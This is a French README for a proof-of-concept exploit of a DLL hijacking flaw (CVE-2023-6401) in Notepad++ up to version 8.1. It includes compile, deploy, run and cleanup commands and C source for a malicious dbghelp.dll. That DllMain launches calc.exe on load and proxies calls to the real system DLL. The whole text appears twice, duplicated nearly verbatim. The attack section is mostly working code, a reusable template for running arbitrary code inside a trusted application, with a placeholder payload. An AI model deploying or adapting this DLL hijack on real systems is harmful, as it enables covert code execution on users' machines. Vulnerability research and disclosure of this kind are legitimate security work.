
CVE-2023-6401 est une vulnérabilité de détournement de DLL qui permet aux attaquants d'exécuter du code arbitraire en plaçant un fichier `dbghelp.dll` malveillant dans le répertoire de l'application. Ce projet démontre la vulnérabilité et fournit un PoC reproductible.
⚠️ Avertissement important : réservé à des fins de recherche en sécurité et d’éducation
Preuve de concept de la vulnérabilité de détournement de DLL dans NotePad++ ≤ 8.1. Exécution de code arbitraire en plaçant une dbghelp.dll malveillante dans le répertoire de l’application.
# Télécharger le projet
git clone https://github.com/mekitoci/CVE-2023-6401.git
# Se rendre dans le répertoire du projet
cd CVE-2023-6401-main
# Compiler la DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Déployer dans le répertoire de NotePad++
copy dbghelp.dll "C:\Program Files\Notepad++\"
# Exécuter le test
"C:\Program Files\Notepad++\notepad++.exe"
# Nettoyage immédiat
del "C:\Program Files\Notepad++\dbghelp.dll"
Résultat attendu : La calculatrice s’affiche + boîte de message + NotePad++ démarre normalement

| Élément | Détails |
|---|---|
| Numéro CVE | CVE-2023-6401 |
| Versions affectées | NotePad++ ≤ 8.1 |
| Type de vulnérabilité | Détournement de DLL / Détournement d’ordre de recherche |
| Impact | Exécution de code arbitraire |
| Prérequis | Permissions d’écriture dans le répertoire de l’application |
Windows charge les DLL dans l’ordre suivant :
NotePad++ charge dbghelp.dll au démarrage. En plaçant une DLL malveillante du même nom dans le répertoire de l’application, le code peut être exécuté avant le chargement de la DLL système.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Exécution du code malveillant
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Chargement de la vraie DLL et redirection des appels API
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Supprimer la DLL malveillante
del "C:\Program Files\Notepad++\dbghelp.dll"
# Vérifier la suppression
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Nettoyage terminé"
Ce projet est destiné uniquement à des fins éducatives et de recherche en sécurité. L’utilisateur est seul responsable du respect des lois et réglementations applicables.
⚠️ AVERTISSEMENT IMPORTANT : réservé à des fins de recherche en sécurité et d’éducation
Preuve de concept de la vulnérabilité de détournement de DLL dans NotePad++ ≤ 8.1. Exécution de code arbitraire en plaçant une dbghelp.dll malveillante dans le répertoire de l’application.
# Cloner le projet
git clone https://github.com/mekitoci/CVE-2023-6401.git
# Aller dans le répertoire du projet
cd CVE-2023-6401-main
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Déployer dans le répertoire de NotePad++
copy dbghelp.dll "C:\Program Files\Notepad++\"
# Exécuter le test
"C:\Program Files\Notepad++\notepad++.exe"
# Nettoyage immédiat
del "C:\Program Files\Notepad++\dbghelp.dll"
Résultat attendu : La calculatrice s’affiche + boîte de message + NotePad++ démarre normalement

| Élément | Détails |
|---|---|
| Numéro CVE | CVE-2023-6401 |
| Versions affectées | NotePad++ ≤ 8.1 |
| Type de vulnérabilité | Détournement de DLL / Détournement d’ordre de recherche |
| Impact | Exécution de code arbitraire |
| Prérequis | Permissions d’écriture dans le répertoire de l’application |
Windows charge les DLL dans l’ordre suivant :
NotePad++ charge dbghelp.dll au démarrage. En plaçant une DLL malveillante du même nom dans le répertoire de l’application, le code peut être exécuté avant le chargement de la DLL système.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Exécution du code malveillant
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Chargement de la vraie DLL et redirection des appels API
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Supprimer la DLL malveillante
del "C:\Program Files\Notepad++\dbghelp.dll"
# Vérifier la suppression
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Nettoyage terminé"
Ce projet est destiné uniquement à des fins éducatives et de recherche en sécurité. L’utilisateur est seul responsable du respect des lois et réglementations applicables.